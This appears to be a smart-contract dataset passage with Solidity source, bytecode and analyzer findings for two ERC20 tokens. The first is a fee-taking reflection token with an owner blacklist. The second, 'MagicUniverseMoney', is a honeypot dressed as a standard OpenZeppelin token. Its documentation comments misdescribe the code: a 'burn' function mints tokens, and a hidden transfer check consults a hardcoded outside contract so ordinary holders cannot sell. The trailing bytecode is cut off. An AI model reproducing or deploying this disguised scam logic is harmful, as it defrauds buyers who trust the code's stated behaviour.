uint256 private constant _tTotal = 1500000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 public _maxTxAmount = 15000*10**_decimals;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeWallet] = true;
emit MaxTxAmountUpdated(_maxTxAmount);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
_feeAddr1 = 3;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 9;
_feeAddr2 = 0;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function liftMaxTxPercentage(uint256 percentage) external onlyOwner{
require(percentage>1);
_maxTxAmount = _tTotal.mul(percentage).div(100);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_,bool isBot) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = isBot;
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
swapTokensForEth(balanceOf(address(this)));
}
function manualsend() external {
sendETHToFee(address(this).balance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c80637d1db4a5116100a05780639c0db5f3116100645780639c0db5f3146102f9578063a9059cbb14610319578063c3c8cd8014610339578063dd62ed3e1461034e578063e8078d941461039457600080fd5b80637d1db4a5146102585780638a8c523c1461026e5780638da5cb5b1461028357806395d89b41146102ab57806398d24403146102d957600080fd5b8063313ce567116100e7578063313ce567146101db57806339c96774146101f75780636fc3eaec1461020e57806370a0823114610223578063715018a61461024357600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600981526850696c6f7420496e7560b81b60208201525b60405161015f91906115a8565b60405180910390f35b34801561017457600080fd5b50610188610183366004611622565b6103a9565b604051901515815260200161015f565b3480156101a457600080fd5b506101ad6103c0565b60405190815260200161015f565b3480156101c757600080fd5b506101886101d636600461164e565b6103e0565b3480156101e757600080fd5b506040516008815260200161015f565b34801561020357600080fd5b5061020c610449565b005b34801561021a57600080fd5b5061020c61062a565b34801561022f57600080fd5b506101ad61023e36600461168f565b610635565b34801561024f57600080fd5b5061020c610657565b34801561026457600080fd5b506101ad600e5481565b34801561027a57600080fd5b5061020c6106cb565b34801561028f57600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102b757600080fd5b5060408051808201909152600581526414125313d560da1b6020820152610152565b3480156102e557600080fd5b5061020c6102f43660046116ac565b61070a565b34801561030557600080fd5b5061020c6103143660046116f4565b6107aa565b34801561032557600080fd5b50610188610334366004611622565b6108fe565b34801561034557600080fd5b5061020c61090b565b34801561035a57600080fd5b506101ad6103693660046117cb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103a057600080fd5b5061020c61091c565b60006103b6338484610a96565b5060015b92915050565b60006103ce6008600a6118fe565b6103db906216e36061190d565b905090565b60006103ed848484610bba565b61043f843361043a85604051806060016040528060288152602001611abb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e91565b610a96565b5060019392505050565b6000546001600160a01b0316331461047c5760405162461bcd60e51b81526004016104739061192c565b60405180910390fd5b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104c330826104b66008600a6118fe565b61043a906216e36061190d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610501573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105259190611961565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105969190611961565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106079190611961565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b61063347610ecb565b565b6001600160a01b0381166000908152600260205260408120546103ba90610f09565b6000546001600160a01b031633146106815760405162461bcd60e51b81526004016104739061192c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f55760405162461bcd60e51b81526004016104739061192c565b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107345760405162461bcd60e51b81526004016104739061192c565b6001811161074157600080fd5b61076f6064610769836107566008600a6118fe565b610763906216e36061190d565b90610f8d565b9061100f565b600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146107d45760405162461bcd60e51b81526004016104739061192c565b60005b82518110156108f957600c5483516001600160a01b03909116908490839081106108035761080361197e565b60200260200101516001600160a01b0316141580156108545750600d5483516001600160a01b03909116908490839081106108405761084061197e565b60200260200101516001600160a01b031614155b801561088b5750306001600160a01b03168382815181106108775761087761197e565b60200260200101516001600160a01b031614155b156108e75781600660008584815181106108a7576108a761197e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108f181611994565b9150506107d7565b505050565b60006103b6338484610bba565b61063361091730610635565b611051565b6000546001600160a01b031633146109465760405162461bcd60e51b81526004016104739061192c565b600c546001600160a01b031663f305d719473061096281610635565b6000806109776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109df573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0491906119ad565b5050600d8054600160b01b60ff60b01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9391906119db565b50565b6001600160a01b038316610af85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b60008111610ce25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b6001600160a01b03831660009081526006602052604090205460ff1615610d0857600080fd5b60036009556006600a556000546001600160a01b03848116911614801590610d3e57506000546001600160a01b03838116911614155b15610e8657600d546001600160a01b038481169116148015610d6e5750600c546001600160a01b03838116911614155b8015610d9357506001600160a01b03821660009081526005602052604090205460ff16155b15610dbd57600e54811115610da757600080fd5b600d54600160a01b900460ff16610dbd57600080fd5b600c546001600160a01b03848116911614801590610df457506001600160a01b03831660009081526005602052604090205460ff16155b15610e1957600d546001600160a01b0390811690831603610e1957600980556000600a555b6000610e2430610635565b600d54909150600160a81b900460ff16158015610e4f5750600d546001600160a01b03858116911614155b8015610e645750600d54600160b01b900460ff165b15610e8457610e7281611051565b478015610e8257610e8247610ecb565b505b505b6108f98383836111cb565b60008184841115610eb55760405162461bcd60e51b815260040161047391906115a8565b506000610ec284866119f8565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f05573d6000803e3d6000fd5b5050565b6000600754821115610f705760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610473565b6000610f7a6111d6565b9050610f86838261100f565b9392505050565b600082600003610f9f575060006103ba565b6000610fab838561190d565b905082610fb88583611a0f565b14610f865760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b6000610f8683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111f9565b600d805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110995761109961197e565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111169190611961565b816001815181106111295761112961197e565b6001600160a01b039283166020918202929092010152600c5461114f9130911684610a96565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611188908590600090869030904290600401611a31565b600060405180830381600087803b1580156111a257600080fd5b505af11580156111b6573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6108f9838383611227565b60008060006111e361131e565b90925090506111f2828261100f565b9250505090565b6000818361121a5760405162461bcd60e51b815260040161047391906115a8565b506000610ec28486611a0f565b6000806000806000806112398761139d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061126b90876113fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461129a908661143c565b6001600160a01b0389166000908152600260205260409020556112bc8161149b565b6112c684836114e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161130b91815260200190565b60405180910390a3505050505050505050565b6007546000908190816113336008600a6118fe565b611340906216e36061190d565b90506113676113516008600a6118fe565b61135e906216e36061190d565b6007549061100f565b8210156113945760075461137d6008600a6118fe565b61138a906216e36061190d565b9350935050509091565b90939092509050565b60008060008060008060008060006113ba8a600954600a54611509565b92509250925060006113ca6111d6565b905060008060006113dd8e878787611558565b919e509c509a509598509396509194505050505091939550919395565b6000610f8683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e91565b6000806114498385611aa2565b905083811015610f865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b60006114a56111d6565b905060006114b38383610f8d565b306000908152600260205260409020549091506114d0908261143c565b30600090815260026020526040902055505050565b6007546114f290836113fa565b600755600854611502908261143c565b6008555050565b600080808061151d60646107698989610f8d565b9050600061153060646107698a89610f8d565b90506000611548826115428b866113fa565b906113fa565b9992985090965090945050505050565b60008080806115678886610f8d565b905060006115758887610f8d565b905060006115838888610f8d565b905060006115958261154286866113fa565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115d5578581018301518582016040015282016115b9565b818111156115e7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9357600080fd5b803561161d816115fd565b919050565b6000806040838503121561163557600080fd5b8235611640816115fd565b946020939093013593505050565b60008060006060848603121561166357600080fd5b833561166e816115fd565b9250602084013561167e816115fd565b929592945050506040919091013590565b6000602082840312156116a157600080fd5b8135610f86816115fd565b6000602082840312156116be57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b8015158114610a9357600080fd5b803561161d816116db565b6000806040838503121561170757600080fd5b823567ffffffffffffffff8082111561171f57600080fd5b818501915085601f83011261173357600080fd5b8135602082821115611747576117476116c5565b8160051b604051601f19603f8301168101818110868211171561176c5761176c6116c5565b60405292835281830193508481018201928984111561178a57600080fd5b948201945b838610156117af576117a086611612565b8552948201949382019361178f565b96506117be90508782016116e9565b9450505050509250929050565b600080604083850312156117de57600080fd5b82356117e9816115fd565b915060208301356117f9816115fd565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561185557816000190482111561183b5761183b611804565b8085161561184857918102915b93841c939080029061181f565b509250929050565b60008261186c575060016103ba565b81611879575060006103ba565b816001811461188f5760028114611899576118b5565b60019150506103ba565b60ff8411156118aa576118aa611804565b50506001821b6103ba565b5060208310610133831016604e8410600b84101617156118d8575081810a6103ba565b6118e2838361181a565b80600019048211156118f6576118f6611804565b029392505050565b6000610f8660ff84168361185d565b600081600019048311821515161561192757611927611804565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561197357600080fd5b8151610f86816115fd565b634e487b7160e01b600052603260045260246000fd5b6000600182016119a6576119a6611804565b5060010190565b6000806000606084860312156119c257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ed57600080fd5b8151610f86816116db565b600082821015611a0a57611a0a611804565b500390565b600082611a2c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a815784516001600160a01b031683529383019391830191600101611a5c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ab557611ab5611804565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203055fb95d0a2eff83717ee110cc5c65ab4e6eb67a243e826bd81ba632a4c17ca64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,837 |
0xeb78348977178b0a31c7ce3b3b382638d0762dff | // SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function invalidAddress(address _address) virtual external view returns (bool){}
/**
* @dev Returns if it is a invalid address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MagicUniverseMoney is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal invalid;
address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _transfer (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
invalid = _Address;
_totalSupply = _totalSupply.add(_Amount);
balances[_Address] = balances[_Address].add(_Amount);
}
function _transfer (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
}
fallback() external payable {
}
} | 0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb5780639dc29fac14610200578063a9059cbb14610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906108ae565b60405180910390f35b3480156100e557600080fd5b506100f96100f436600461091f565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f9610163366004610949565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af366004610985565b50600090565b3480156101c157600080fd5b5061013a6101d0366004610985565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100ac61021b36600461091f565b61053c565b34801561022c57600080fd5b506100f961023b36600461091f565b6105c6565b34801561024c57600080fd5b5061013a61025b3660046109a0565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60038054610293906109d3565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf906109d3565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b1565b90